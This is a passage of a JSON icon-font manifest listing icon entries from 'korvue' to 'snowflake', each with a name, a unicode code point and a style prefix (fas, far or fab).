		"prefix": "fas"
	},
	{
		"name": "korvue",
		"unicode": "f42f",
		"prefix": "fab"
	},
	{
		"name": "landmark",
		"unicode": "f66f",
		"prefix": "fas"
	},
	{
		"name": "language",
		"unicode": "f1ab",
		"prefix": "fas"
	},
	{
		"name": "laptop",
		"unicode": "f109",
		"prefix": "fas"
	},
	{
		"name": "laptop-code",
		"unicode": "f5fc",
		"prefix": "fas"
	},
	{
		"name": "laravel",
		"unicode": "f3bd",
		"prefix": "fab"
	},
	{
		"name": "lastfm",
		"unicode": "f202",
		"prefix": "fab"
	},
	{
		"name": "lastfm-square",
		"unicode": "f203",
		"prefix": "fab"
	},
	{
		"name": "laugh",
		"unicode": "f599",
		"prefix": "fas"
	},
	{
		"name": "laugh",
		"unicode": "f599",
		"prefix": "far"
	},
	{
		"name": "laugh-beam",
		"unicode": "f59a",
		"prefix": "fas"
	},
	{
		"name": "laugh-beam",
		"unicode": "f59a",
		"prefix": "far"
	},
	{
		"name": "laugh-squint",
		"unicode": "f59b",
		"prefix": "fas"
	},
	{
		"name": "laugh-squint",
		"unicode": "f59b",
		"prefix": "far"
	},
	{
		"name": "laugh-wink",
		"unicode": "f59c",
		"prefix": "fas"
	},
	{
		"name": "laugh-wink",
		"unicode": "f59c",
		"prefix": "far"
	},
	{
		"name": "layer-group",
		"unicode": "f5fd",
		"prefix": "fas"
	},
	{
		"name": "leaf",
		"unicode": "f06c",
		"prefix": "fas"
	},
	{
		"name": "leanpub",
		"unicode": "f212",
		"prefix": "fab"
	},
	{
		"name": "lemon",
		"unicode": "f094",
		"prefix": "fas"
	},
	{
		"name": "lemon",
		"unicode": "f094",
		"prefix": "far"
	},
	{
		"name": "less",
		"unicode": "f41d",
		"prefix": "fab"
	},
	{
		"name": "less-than",
		"unicode": "f536",
		"prefix": "fas"
	},
	{
		"name": "less-than-equal",
		"unicode": "f537",
		"prefix": "fas"
	},
	{
		"name": "level-down-alt",
		"unicode": "f3be",
		"prefix": "fas"
	},
	{
		"name": "level-up-alt",
		"unicode": "f3bf",
		"prefix": "fas"
	},
	{
		"name": "life-ring",
		"unicode": "f1cd",
		"prefix": "fas"
	},
	{
		"name": "life-ring",
		"unicode": "f1cd",
		"prefix": "far"
	},
	{
		"name": "lightbulb",
		"unicode": "f0eb",
		"prefix": "fas"
	},
	{
		"name": "lightbulb",
		"unicode": "f0eb",
		"prefix": "far"
	},
	{
		"name": "line",
		"unicode": "f3c0",
		"prefix": "fab"
	},
	{
		"name": "link",
		"unicode": "f0c1",
		"prefix": "fas"
	},
	{
		"name": "linkedin",
		"unicode": "f08c",
		"prefix": "fab"
	},
	{
		"name": "linkedin-in",
		"unicode": "f0e1",
		"prefix": "fab"
	},
	{
		"name": "linode",
		"unicode": "f2b8",
		"prefix": "fab"
	},
	{
		"name": "linux",
		"unicode": "f17c",
		"prefix": "fab"
	},
	{
		"name": "lira-sign",
		"unicode": "f195",
		"prefix": "fas"
	},
	{
		"name": "list",
		"unicode": "f03a",
		"prefix": "fas"
	},
	{
		"name": "list-alt",
		"unicode": "f022",
		"prefix": "fas"
	},
	{
		"name": "list-alt",
		"unicode": "f022",
		"prefix": "far"
	},
	{
		"name": "list-ol",
		"unicode": "f0cb",
		"prefix": "fas"
	},
	{
		"name": "list-ul",
		"unicode": "f0ca",
		"prefix": "fas"
	},
	{
		"name": "location-arrow",
		"unicode": "f124",
		"prefix": "fas"
	},
	{
		"name": "lock",
		"unicode": "f023",
		"prefix": "fas"
	},
	{
		"name": "lock-open",
		"unicode": "f3c1",
		"prefix": "fas"
	},
	{
		"name": "long-arrow-alt-down",
		"unicode": "f309",
		"prefix": "fas"
	},
	{
		"name": "long-arrow-alt-left",
		"unicode": "f30a",
		"prefix": "fas"
	},
	{
		"name": "long-arrow-alt-right",
		"unicode": "f30b",
		"prefix": "fas"
	},
	{
		"name": "long-arrow-alt-up",
		"unicode": "f30c",
		"prefix": "fas"
	},
	{
		"name": "low-vision",
		"unicode": "f2a8",
		"prefix": "fas"
	},
	{
		"name": "luggage-cart",
		"unicode": "f59d",
		"prefix": "fas"
	},
	{
		"name": "lyft",
		"unicode": "f3c3",
		"prefix": "fab"
	},
	{
		"name": "magento",
		"unicode": "f3c4",
		"prefix": "fab"
	},
	{
		"name": "magic",
		"unicode": "f0d0",
		"prefix": "fas"
	},
	{
		"name": "magnet",
		"unicode": "f076",
		"prefix": "fas"
	},
	{
		"name": "mail-bulk",
		"unicode": "f674",
		"prefix": "fas"
	},
	{
		"name": "mailchimp",
		"unicode": "f59e",
		"prefix": "fab"
	},
	{
		"name": "male",
		"unicode": "f183",
		"prefix": "fas"
	},
	{
		"name": "mandalorian",
		"unicode": "f50f",
		"prefix": "fab"
	},
	{
		"name": "map",
		"unicode": "f279",
		"prefix": "fas"
	},
	{
		"name": "map",
		"unicode": "f279",
		"prefix": "far"
	},
	{
		"name": "map-marked",
		"unicode": "f59f",
		"prefix": "fas"
	},
	{
		"name": "map-marked-alt",
		"unicode": "f5a0",
		"prefix": "fas"
	},
	{
		"name": "map-marker",
		"unicode": "f041",
		"prefix": "fas"
	},
	{
		"name": "map-marker-alt",
		"unicode": "f3c5",
		"prefix": "fas"
	},
	{
		"name": "map-pin",
		"unicode": "f276",
		"prefix": "fas"
	},
	{
		"name": "map-signs",
		"unicode": "f277",
		"prefix": "fas"
	},
	{
		"name": "markdown",
		"unicode": "f60f",
		"prefix": "fab"
	},
	{
		"name": "marker",
		"unicode": "f5a1",
		"prefix": "fas"
	},
	{
		"name": "mars",
		"unicode": "f222",
		"prefix": "fas"
	},
	{
		"name": "mars-double",
		"unicode": "f227",
		"prefix": "fas"
	},
	{
		"name": "mars-stroke",
		"unicode": "f229",
		"prefix": "fas"
	},
	{
		"name": "mars-stroke-h",
		"unicode": "f22b",
		"prefix": "fas"
	},
	{
		"name": "mars-stroke-v",
		"unicode": "f22a",
		"prefix": "fas"
	},
	{
		"name": "mask",
		"unicode": "f6fa",
		"prefix": "fas"
	},
	{
		"name": "mastodon",
		"unicode": "f4f6",
		"prefix": "fab"
	},
	{
		"name": "maxcdn",
		"unicode": "f136",
		"prefix": "fab"
	},
	{
		"name": "medal",
		"unicode": "f5a2",
		"prefix": "fas"
	},
	{
		"name": "medapps",
		"unicode": "f3c6",
		"prefix": "fab"
	},
	{
		"name": "medium",
		"unicode": "f23a",
		"prefix": "fab"
	},
	{
		"name": "medium-m",
		"unicode": "f3c7",
		"prefix": "fab"
	},
	{
		"name": "medkit",
		"unicode": "f0fa",
		"prefix": "fas"
	},
	{
		"name": "medrt",
		"unicode": "f3c8",
		"prefix": "fab"
	},
	{
		"name": "meetup",
		"unicode": "f2e0",
		"prefix": "fab"
	},
	{
		"name": "megaport",
		"unicode": "f5a3",
		"prefix": "fab"
	},
	{
		"name": "meh",
		"unicode": "f11a",
		"prefix": "fas"
	},
	{
		"name": "meh",
		"unicode": "f11a",
		"prefix": "far"
	},
	{
		"name": "meh-blank",
		"unicode": "f5a4",
		"prefix": "fas"
	},
	{
		"name": "meh-blank",
		"unicode": "f5a4",
		"prefix": "far"
	},
	{
		"name": "meh-rolling-eyes",
		"unicode": "f5a5",
		"prefix": "fas"
	},
	{
		"name": "meh-rolling-eyes",
		"unicode": "f5a5",
		"prefix": "far"
	},
	{
		"name": "memory",
		"unicode": "f538",
		"prefix": "fas"
	},
	{
		"name": "menorah",
		"unicode": "f676",
		"prefix": "fas"
	},
	{
		"name": "mercury",
		"unicode": "f223",
		"prefix": "fas"
	},
	{
		"name": "meteor",
		"unicode": "f753",
		"prefix": "fas"
	},
	{
		"name": "microchip",
		"unicode": "f2db",
		"prefix": "fas"
	},
	{
		"name": "microphone",
		"unicode": "f130",
		"prefix": "fas"
	},
	{
		"name": "microphone-alt",
		"unicode": "f3c9",
		"prefix": "fas"
	},
	{
		"name": "microphone-alt-slash",
		"unicode": "f539",
		"prefix": "fas"
	},
	{
		"name": "microphone-slash",
		"unicode": "f131",
		"prefix": "fas"
	},
	{
		"name": "microscope",
		"unicode": "f610",
		"prefix": "fas"
	},
	{
		"name": "microsoft",
		"unicode": "f3ca",
		"prefix": "fab"
	},
	{
		"name": "minus",
		"unicode": "f068",
		"prefix": "fas"
	},
	{
		"name": "minus-circle",
		"unicode": "f056",
		"prefix": "fas"
	},
	{
		"name": "minus-square",
		"unicode": "f146",
		"prefix": "fas"
	},
	{
		"name": "minus-square",
		"unicode": "f146",
		"prefix": "far"
	},
	{
		"name": "mix",
		"unicode": "f3cb",
		"prefix": "fab"
	},
	{
		"name": "mixcloud",
		"unicode": "f289",
		"prefix": "fab"
	},
	{
		"name": "mizuni",
		"unicode": "f3cc",
		"prefix": "fab"
	},
	{
		"name": "mobile",
		"unicode": "f10b",
		"prefix": "fas"
	},
	{
		"name": "mobile-alt",
		"unicode": "f3cd",
		"prefix": "fas"
	},
	{
		"name": "modx",
		"unicode": "f285",
		"prefix": "fab"
	},
	{
		"name": "monero",
		"unicode": "f3d0",
		"prefix": "fab"
	},
	{
		"name": "money-bill",
		"unicode": "f0d6",
		"prefix": "fas"
	},
	{
		"name": "money-bill-alt",
		"unicode": "f3d1",
		"prefix": "fas"
	},
	{
		"name": "money-bill-alt",
		"unicode": "f3d1",
		"prefix": "far"
	},
	{
		"name": "money-bill-wave",
		"unicode": "f53a",
		"prefix": "fas"
	},
	{
		"name": "money-bill-wave-alt",
		"unicode": "f53b",
		"prefix": "fas"
	},
	{
		"name": "money-check",
		"unicode": "f53c",
		"prefix": "fas"
	},
	{
		"name": "money-check-alt",
		"unicode": "f53d",
		"prefix": "fas"
	},
	{
		"name": "monument",
		"unicode": "f5a6",
		"prefix": "fas"
	},
	{
		"name": "moon",
		"unicode": "f186",
		"prefix": "fas"
	},
	{
		"name": "moon",
		"unicode": "f186",
		"prefix": "far"
	},
	{
		"name": "mortar-pestle",
		"unicode": "f5a7",
		"prefix": "fas"
	},
	{
		"name": "mosque",
		"unicode": "f678",
		"prefix": "fas"
	},
	{
		"name": "motorcycle",
		"unicode": "f21c",
		"prefix": "fas"
	},
	{
		"name": "mountain",
		"unicode": "f6fc",
		"prefix": "fas"
	},
	{
		"name": "mouse-pointer",
		"unicode": "f245",
		"prefix": "fas"
	},
	{
		"name": "music",
		"unicode": "f001",
		"prefix": "fas"
	},
	{
		"name": "napster",
		"unicode": "f3d2",
		"prefix": "fab"
	},
	{
		"name": "neos",
		"unicode": "f612",
		"prefix": "fab"
	},
	{
		"name": "network-wired",
		"unicode": "f6ff",
		"prefix": "fas"
	},
	{
		"name": "neuter",
		"unicode": "f22c",
		"prefix": "fas"
	},
	{
		"name": "newspaper",
		"unicode": "f1ea",
		"prefix": "fas"
	},
	{
		"name": "newspaper",
		"unicode": "f1ea",
		"prefix": "far"
	},
	{
		"name": "nimblr",
		"unicode": "f5a8",
		"prefix": "fab"
	},
	{
		"name": "nintendo-switch",
		"unicode": "f418",
		"prefix": "fab"
	},
	{
		"name": "node",
		"unicode": "f419",
		"prefix": "fab"
	},
	{
		"name": "node-js",
		"unicode": "f3d3",
		"prefix": "fab"
	},
	{
		"name": "not-equal",
		"unicode": "f53e",
		"prefix": "fas"
	},
	{
		"name": "notes-medical",
		"unicode": "f481",
		"prefix": "fas"
	},
	{
		"name": "npm",
		"unicode": "f3d4",
		"prefix": "fab"
	},
	{
		"name": "ns8",
		"unicode": "f3d5",
		"prefix": "fab"
	},
	{
		"name": "nutritionix",
		"unicode": "f3d6",
		"prefix": "fab"
	},
	{
		"name": "object-group",
		"unicode": "f247",
		"prefix": "fas"
	},
	{
		"name": "object-group",
		"unicode": "f247",
		"prefix": "far"
	},
	{
		"name": "object-ungroup",
		"unicode": "f248",
		"prefix": "fas"
	},
	{
		"name": "object-ungroup",
		"unicode": "f248",
		"prefix": "far"
	},
	{
		"name": "odnoklassniki",
		"unicode": "f263",
		"prefix": "fab"
	},
	{
		"name": "odnoklassniki-square",
		"unicode": "f264",
		"prefix": "fab"
	},
	{
		"name": "oil-can",
		"unicode": "f613",
		"prefix": "fas"
	},
	{
		"name": "old-republic",
		"unicode": "f510",
		"prefix": "fab"
	},
	{
		"name": "om",
		"unicode": "f679",
		"prefix": "fas"
	},
	{
		"name": "opencart",
		"unicode": "f23d",
		"prefix": "fab"
	},
	{
		"name": "openid",
		"unicode": "f19b",
		"prefix": "fab"
	},
	{
		"name": "opera",
		"unicode": "f26a",
		"prefix": "fab"
	},
	{
		"name": "optin-monster",
		"unicode": "f23c",
		"prefix": "fab"
	},
	{
		"name": "osi",
		"unicode": "f41a",
		"prefix": "fab"
	},
	{
		"name": "otter",
		"unicode": "f700",
		"prefix": "fas"
	},
	{
		"name": "outdent",
		"unicode": "f03b",
		"prefix": "fas"
	},
	{
		"name": "page4",
		"unicode": "f3d7",
		"prefix": "fab"
	},
	{
		"name": "pagelines",
		"unicode": "f18c",
		"prefix": "fab"
	},
	{
		"name": "paint-brush",
		"unicode": "f1fc",
		"prefix": "fas"
	},
	{
		"name": "paint-roller",
		"unicode": "f5aa",
		"prefix": "fas"
	},
	{
		"name": "palette",
		"unicode": "f53f",
		"prefix": "fas"
	},
	{
		"name": "palfed",
		"unicode": "f3d8",
		"prefix": "fab"
	},
	{
		"name": "pallet",
		"unicode": "f482",
		"prefix": "fas"
	},
	{
		"name": "paper-plane",
		"unicode": "f1d8",
		"prefix": "fas"
	},
	{
		"name": "paper-plane",
		"unicode": "f1d8",
		"prefix": "far"
	},
	{
		"name": "paperclip",
		"unicode": "f0c6",
		"prefix": "fas"
	},
	{
		"name": "parachute-box",
		"unicode": "f4cd",
		"prefix": "fas"
	},
	{
		"name": "paragraph",
		"unicode": "f1dd",
		"prefix": "fas"
	},
	{
		"name": "parking",
		"unicode": "f540",
		"prefix": "fas"
	},
	{
		"name": "passport",
		"unicode": "f5ab",
		"prefix": "fas"
	},
	{
		"name": "pastafarianism",
		"unicode": "f67b",
		"prefix": "fas"
	},
	{
		"name": "paste",
		"unicode": "f0ea",
		"prefix": "fas"
	},
	{
		"name": "patreon",
		"unicode": "f3d9",
		"prefix": "fab"
	},
	{
		"name": "pause",
		"unicode": "f04c",
		"prefix": "fas"
	},
	{
		"name": "pause-circle",
		"unicode": "f28b",
		"prefix": "fas"
	},
	{
		"name": "pause-circle",
		"unicode": "f28b",
		"prefix": "far"
	},
	{
		"name": "paw",
		"unicode": "f1b0",
		"prefix": "fas"
	},
	{
		"name": "paypal",
		"unicode": "f1ed",
		"prefix": "fab"
	},
	{
		"name": "peace",
		"unicode": "f67c",
		"prefix": "fas"
	},
	{
		"name": "pen",
		"unicode": "f304",
		"prefix": "fas"
	},
	{
		"name": "pen-alt",
		"unicode": "f305",
		"prefix": "fas"
	},
	{
		"name": "pen-fancy",
		"unicode": "f5ac",
		"prefix": "fas"
	},
	{
		"name": "pen-nib",
		"unicode": "f5ad",
		"prefix": "fas"
	},
	{
		"name": "pen-square",
		"unicode": "f14b",
		"prefix": "fas"
	},
	{
		"name": "pencil-alt",
		"unicode": "f303",
		"prefix": "fas"
	},
	{
		"name": "pencil-ruler",
		"unicode": "f5ae",
		"prefix": "fas"
	},
	{
		"name": "penny-arcade",
		"unicode": "f704",
		"prefix": "fab"
	},
	{
		"name": "people-carry",
		"unicode": "f4ce",
		"prefix": "fas"
	},
	{
		"name": "percent",
		"unicode": "f295",
		"prefix": "fas"
	},
	{
		"name": "percentage",
		"unicode": "f541",
		"prefix": "fas"
	},
	{
		"name": "periscope",
		"unicode": "f3da",
		"prefix": "fab"
	},
	{
		"name": "person-booth",
		"unicode": "f756",
		"prefix": "fas"
	},
	{
		"name": "phabricator",
		"unicode": "f3db",
		"prefix": "fab"
	},
	{
		"name": "phoenix-framework",
		"unicode": "f3dc",
		"prefix": "fab"
	},
	{
		"name": "phoenix-squadron",
		"unicode": "f511",
		"prefix": "fab"
	},
	{
		"name": "phone",
		"unicode": "f095",
		"prefix": "fas"
	},
	{
		"name": "phone-slash",
		"unicode": "f3dd",
		"prefix": "fas"
	},
	{
		"name": "phone-square",
		"unicode": "f098",
		"prefix": "fas"
	},
	{
		"name": "phone-volume",
		"unicode": "f2a0",
		"prefix": "fas"
	},
	{
		"name": "php",
		"unicode": "f457",
		"prefix": "fab"
	},
	{
		"name": "pied-piper",
		"unicode": "f2ae",
		"prefix": "fab"
	},
	{
		"name": "pied-piper-alt",
		"unicode": "f1a8",
		"prefix": "fab"
	},
	{
		"name": "pied-piper-hat",
		"unicode": "f4e5",
		"prefix": "fab"
	},
	{
		"name": "pied-piper-pp",
		"unicode": "f1a7",
		"prefix": "fab"
	},
	{
		"name": "piggy-bank",
		"unicode": "f4d3",
		"prefix": "fas"
	},
	{
		"name": "pills",
		"unicode": "f484",
		"prefix": "fas"
	},
	{
		"name": "pinterest",
		"unicode": "f0d2",
		"prefix": "fab"
	},
	{
		"name": "pinterest-p",
		"unicode": "f231",
		"prefix": "fab"
	},
	{
		"name": "pinterest-square",
		"unicode": "f0d3",
		"prefix": "fab"
	},
	{
		"name": "place-of-worship",
		"unicode": "f67f",
		"prefix": "fas"
	},
	{
		"name": "plane",
		"unicode": "f072",
		"prefix": "fas"
	},
	{
		"name": "plane-arrival",
		"unicode": "f5af",
		"prefix": "fas"
	},
	{
		"name": "plane-departure",
		"unicode": "f5b0",
		"prefix": "fas"
	},
	{
		"name": "play",
		"unicode": "f04b",
		"prefix": "fas"
	},
	{
		"name": "play-circle",
		"unicode": "f144",
		"prefix": "fas"
	},
	{
		"name": "play-circle",
		"unicode": "f144",
		"prefix": "far"
	},
	{
		"name": "playstation",
		"unicode": "f3df",
		"prefix": "fab"
	},
	{
		"name": "plug",
		"unicode": "f1e6",
		"prefix": "fas"
	},
	{
		"name": "plus",
		"unicode": "f067",
		"prefix": "fas"
	},
	{
		"name": "plus-circle",
		"unicode": "f055",
		"prefix": "fas"
	},
	{
		"name": "plus-square",
		"unicode": "f0fe",
		"prefix": "fas"
	},
	{
		"name": "plus-square",
		"unicode": "f0fe",
		"prefix": "far"
	},
	{
		"name": "podcast",
		"unicode": "f2ce",
		"prefix": "fas"
	},
	{
		"name": "poll",
		"unicode": "f681",
		"prefix": "fas"
	},
	{
		"name": "poll-h",
		"unicode": "f682",
		"prefix": "fas"
	},
	{
		"name": "poo",
		"unicode": "f2fe",
		"prefix": "fas"
	},
	{
		"name": "poo-storm",
		"unicode": "f75a",
		"prefix": "fas"
	},
	{
		"name": "poop",
		"unicode": "f619",
		"prefix": "fas"
	},
	{
		"name": "portrait",
		"unicode": "f3e0",
		"prefix": "fas"
	},
	{
		"name": "pound-sign",
		"unicode": "f154",
		"prefix": "fas"
	},
	{
		"name": "power-off",
		"unicode": "f011",
		"prefix": "fas"
	},
	{
		"name": "pray",
		"unicode": "f683",
		"prefix": "fas"
	},
	{
		"name": "praying-hands",
		"unicode": "f684",
		"prefix": "fas"
	},
	{
		"name": "prescription",
		"unicode": "f5b1",
		"prefix": "fas"
	},
	{
		"name": "prescription-bottle",
		"unicode": "f485",
		"prefix": "fas"
	},
	{
		"name": "prescription-bottle-alt",
		"unicode": "f486",
		"prefix": "fas"
	},
	{
		"name": "print",
		"unicode": "f02f",
		"prefix": "fas"
	},
	{
		"name": "procedures",
		"unicode": "f487",
		"prefix": "fas"
	},
	{
		"name": "product-hunt",
		"unicode": "f288",
		"prefix": "fab"
	},
	{
		"name": "project-diagram",
		"unicode": "f542",
		"prefix": "fas"
	},
	{
		"name": "pushed",
		"unicode": "f3e1",
		"prefix": "fab"
	},
	{
		"name": "puzzle-piece",
		"unicode": "f12e",
		"prefix": "fas"
	},
	{
		"name": "python",
		"unicode": "f3e2",
		"prefix": "fab"
	},
	{
		"name": "qq",
		"unicode": "f1d6",
		"prefix": "fab"
	},
	{
		"name": "qrcode",
		"unicode": "f029",
		"prefix": "fas"
	},
	{
		"name": "question",
		"unicode": "f128",
		"prefix": "fas"
	},
	{
		"name": "question-circle",
		"unicode": "f059",
		"prefix": "fas"
	},
	{
		"name": "question-circle",
		"unicode": "f059",
		"prefix": "far"
	},
	{
		"name": "quidditch",
		"unicode": "f458",
		"prefix": "fas"
	},
	{
		"name": "quinscape",
		"unicode": "f459",
		"prefix": "fab"
	},
	{
		"name": "quora",
		"unicode": "f2c4",
		"prefix": "fab"
	},
	{
		"name": "quote-left",
		"unicode": "f10d",
		"prefix": "fas"
	},
	{
		"name": "quote-right",
		"unicode": "f10e",
		"prefix": "fas"
	},
	{
		"name": "quran",
		"unicode": "f687",
		"prefix": "fas"
	},
	{
		"name": "r-project",
		"unicode": "f4f7",
		"prefix": "fab"
	},
	{
		"name": "rainbow",
		"unicode": "f75b",
		"prefix": "fas"
	},
	{
		"name": "random",
		"unicode": "f074",
		"prefix": "fas"
	},
	{
		"name": "ravelry",
		"unicode": "f2d9",
		"prefix": "fab"
	},
	{
		"name": "react",
		"unicode": "f41b",
		"prefix": "fab"
	},
	{
		"name": "reacteurope",
		"unicode": "f75d",
		"prefix": "fab"
	},
	{
		"name": "readme",
		"unicode": "f4d5",
		"prefix": "fab"
	},
	{
		"name": "rebel",
		"unicode": "f1d0",
		"prefix": "fab"
	},
	{
		"name": "receipt",
		"unicode": "f543",
		"prefix": "fas"
	},
	{
		"name": "recycle",
		"unicode": "f1b8",
		"prefix": "fas"
	},
	{
		"name": "red-river",
		"unicode": "f3e3",
		"prefix": "fab"
	},
	{
		"name": "reddit",
		"unicode": "f1a1",
		"prefix": "fab"
	},
	{
		"name": "reddit-alien",
		"unicode": "f281",
		"prefix": "fab"
	},
	{
		"name": "reddit-square",
		"unicode": "f1a2",
		"prefix": "fab"
	},
	{
		"name": "redo",
		"unicode": "f01e",
		"prefix": "fas"
	},
	{
		"name": "redo-alt",
		"unicode": "f2f9",
		"prefix": "fas"
	},
	{
		"name": "registered",
		"unicode": "f25d",
		"prefix": "fas"
	},
	{
		"name": "registered",
		"unicode": "f25d",
		"prefix": "far"
	},
	{
		"name": "renren",
		"unicode": "f18b",
		"prefix": "fab"
	},
	{
		"name": "reply",
		"unicode": "f3e5",
		"prefix": "fas"
	},
	{
		"name": "reply-all",
		"unicode": "f122",
		"prefix": "fas"
	},
	{
		"name": "replyd",
		"unicode": "f3e6",
		"prefix": "fab"
	},
	{
		"name": "republican",
		"unicode": "f75e",
		"prefix": "fas"
	},
	{
		"name": "researchgate",
		"unicode": "f4f8",
		"prefix": "fab"
	},
	{
		"name": "resolving",
		"unicode": "f3e7",
		"prefix": "fab"
	},
	{
		"name": "retweet",
		"unicode": "f079",
		"prefix": "fas"
	},
	{
		"name": "rev",
		"unicode": "f5b2",
		"prefix": "fab"
	},
	{
		"name": "ribbon",
		"unicode": "f4d6",
		"prefix": "fas"
	},
	{
		"name": "ring",
		"unicode": "f70b",
		"prefix": "fas"
	},
	{
		"name": "road",
		"unicode": "f018",
		"prefix": "fas"
	},
	{
		"name": "robot",
		"unicode": "f544",
		"prefix": "fas"
	},
	{
		"name": "rocket",
		"unicode": "f135",
		"prefix": "fas"
	},
	{
		"name": "rocketchat",
		"unicode": "f3e8",
		"prefix": "fab"
	},
	{
		"name": "rockrms",
		"unicode": "f3e9",
		"prefix": "fab"
	},
	{
		"name": "route",
		"unicode": "f4d7",
		"prefix": "fas"
	},
	{
		"name": "rss",
		"unicode": "f09e",
		"prefix": "fas"
	},
	{
		"name": "rss-square",
		"unicode": "f143",
		"prefix": "fas"
	},
	{
		"name": "ruble-sign",
		"unicode": "f158",
		"prefix": "fas"
	},
	{
		"name": "ruler",
		"unicode": "f545",
		"prefix": "fas"
	},
	{
		"name": "ruler-combined",
		"unicode": "f546",
		"prefix": "fas"
	},
	{
		"name": "ruler-horizontal",
		"unicode": "f547",
		"prefix": "fas"
	},
	{
		"name": "ruler-vertical",
		"unicode": "f548",
		"prefix": "fas"
	},
	{
		"name": "running",
		"unicode": "f70c",
		"prefix": "fas"
	},
	{
		"name": "rupee-sign",
		"unicode": "f156",
		"prefix": "fas"
	},
	{
		"name": "sad-cry",
		"unicode": "f5b3",
		"prefix": "fas"
	},
	{
		"name": "sad-cry",
		"unicode": "f5b3",
		"prefix": "far"
	},
	{
		"name": "sad-tear",
		"unicode": "f5b4",
		"prefix": "fas"
	},
	{
		"name": "sad-tear",
		"unicode": "f5b4",
		"prefix": "far"
	},
	{
		"name": "safari",
		"unicode": "f267",
		"prefix": "fab"
	},
	{
		"name": "sass",
		"unicode": "f41e",
		"prefix": "fab"
	},
	{
		"name": "save",
		"unicode": "f0c7",
		"prefix": "fas"
	},
	{
		"name": "save",
		"unicode": "f0c7",
		"prefix": "far"
	},
	{
		"name": "schlix",
		"unicode": "f3ea",
		"prefix": "fab"
	},
	{
		"name": "school",
		"unicode": "f549",
		"prefix": "fas"
	},
	{
		"name": "screwdriver",
		"unicode": "f54a",
		"prefix": "fas"
	},
	{
		"name": "scribd",
		"unicode": "f28a",
		"prefix": "fab"
	},
	{
		"name": "scroll",
		"unicode": "f70e",
		"prefix": "fas"
	},
	{
		"name": "search",
		"unicode": "f002",
		"prefix": "fas"
	},
	{
		"name": "search-dollar",
		"unicode": "f688",
		"prefix": "fas"
	},
	{
		"name": "search-location",
		"unicode": "f689",
		"prefix": "fas"
	},
	{
		"name": "search-minus",
		"unicode": "f010",
		"prefix": "fas"
	},
	{
		"name": "search-plus",
		"unicode": "f00e",
		"prefix": "fas"
	},
	{
		"name": "searchengin",
		"unicode": "f3eb",
		"prefix": "fab"
	},
	{
		"name": "seedling",
		"unicode": "f4d8",
		"prefix": "fas"
	},
	{
		"name": "sellcast",
		"unicode": "f2da",
		"prefix": "fab"
	},
	{
		"name": "sellsy",
		"unicode": "f213",
		"prefix": "fab"
	},
	{
		"name": "server",
		"unicode": "f233",
		"prefix": "fas"
	},
	{
		"name": "servicestack",
		"unicode": "f3ec",
		"prefix": "fab"
	},
	{
		"name": "shapes",
		"unicode": "f61f",
		"prefix": "fas"
	},
	{
		"name": "share",
		"unicode": "f064",
		"prefix": "fas"
	},
	{
		"name": "share-alt",
		"unicode": "f1e0",
		"prefix": "fas"
	},
	{
		"name": "share-alt-square",
		"unicode": "f1e1",
		"prefix": "fas"
	},
	{
		"name": "share-square",
		"unicode": "f14d",
		"prefix": "fas"
	},
	{
		"name": "share-square",
		"unicode": "f14d",
		"prefix": "far"
	},
	{
		"name": "shekel-sign",
		"unicode": "f20b",
		"prefix": "fas"
	},
	{
		"name": "shield-alt",
		"unicode": "f3ed",
		"prefix": "fas"
	},
	{
		"name": "ship",
		"unicode": "f21a",
		"prefix": "fas"
	},
	{
		"name": "shipping-fast",
		"unicode": "f48b",
		"prefix": "fas"
	},
	{
		"name": "shirtsinbulk",
		"unicode": "f214",
		"prefix": "fab"
	},
	{
		"name": "shoe-prints",
		"unicode": "f54b",
		"prefix": "fas"
	},
	{
		"name": "shopping-bag",
		"unicode": "f290",
		"prefix": "fas"
	},
	{
		"name": "shopping-basket",
		"unicode": "f291",
		"prefix": "fas"
	},
	{
		"name": "shopping-cart",
		"unicode": "f07a",
		"prefix": "fas"
	},
	{
		"name": "shopware",
		"unicode": "f5b5",
		"prefix": "fab"
	},
	{
		"name": "shower",
		"unicode": "f2cc",
		"prefix": "fas"
	},
	{
		"name": "shuttle-van",
		"unicode": "f5b6",
		"prefix": "fas"
	},
	{
		"name": "sign",
		"unicode": "f4d9",
		"prefix": "fas"
	},
	{
		"name": "sign-in-alt",
		"unicode": "f2f6",
		"prefix": "fas"
	},
	{
		"name": "sign-language",
		"unicode": "f2a7",
		"prefix": "fas"
	},
	{
		"name": "sign-out-alt",
		"unicode": "f2f5",
		"prefix": "fas"
	},
	{
		"name": "signal",
		"unicode": "f012",
		"prefix": "fas"
	},
	{
		"name": "signature",
		"unicode": "f5b7",
		"prefix": "fas"
	},
	{
		"name": "simplybuilt",
		"unicode": "f215",
		"prefix": "fab"
	},
	{
		"name": "sistrix",
		"unicode": "f3ee",
		"prefix": "fab"
	},
	{
		"name": "sitemap",
		"unicode": "f0e8",
		"prefix": "fas"
	},
	{
		"name": "sith",
		"unicode": "f512",
		"prefix": "fab"
	},
	{
		"name": "skull",
		"unicode": "f54c",
		"prefix": "fas"
	},
	{
		"name": "skull-crossbones",
		"unicode": "f714",
		"prefix": "fas"
	},
	{
		"name": "skyatlas",
		"unicode": "f216",
		"prefix": "fab"
	},
	{
		"name": "skype",
		"unicode": "f17e",
		"prefix": "fab"
	},
	{
		"name": "slack",
		"unicode": "f198",
		"prefix": "fab"
	},
	{
		"name": "slack-hash",
		"unicode": "f3ef",
		"prefix": "fab"
	},
	{
		"name": "slash",
		"unicode": "f715",
		"prefix": "fas"
	},
	{
		"name": "sliders-h",
		"unicode": "f1de",
		"prefix": "fas"
	},
	{
		"name": "slideshare",
		"unicode": "f1e7",
		"prefix": "fab"
	},
	{
		"name": "smile",
		"unicode": "f118",
		"prefix": "fas"
	},
	{
		"name": "smile",
		"unicode": "f118",
		"prefix": "far"
	},
	{
		"name": "smile-beam",
		"unicode": "f5b8",
		"prefix": "fas"
	},
	{
		"name": "smile-beam",
		"unicode": "f5b8",
		"prefix": "far"
	},
	{
		"name": "smile-wink",
		"unicode": "f4da",
		"prefix": "fas"
	},
	{
		"name": "smile-wink",
		"unicode": "f4da",
		"prefix": "far"
	},
	{
		"name": "smog",
		"unicode": "f75f",
		"prefix": "fas"
	},
	{
		"name": "smoking",
		"unicode": "f48d",
		"prefix": "fas"
	},
	{
		"name": "smoking-ban",
		"unicode": "f54d",
		"prefix": "fas"
	},
	{
		"name": "snapchat",
		"unicode": "f2ab",
		"prefix": "fab"
	},
	{
		"name": "snapchat-ghost",
		"unicode": "f2ac",
		"prefix": "fab"
	},
	{
		"name": "snapchat-square",
		"unicode": "f2ad",
		"prefix": "fab"
	},
	{
		"name": "snowflake",
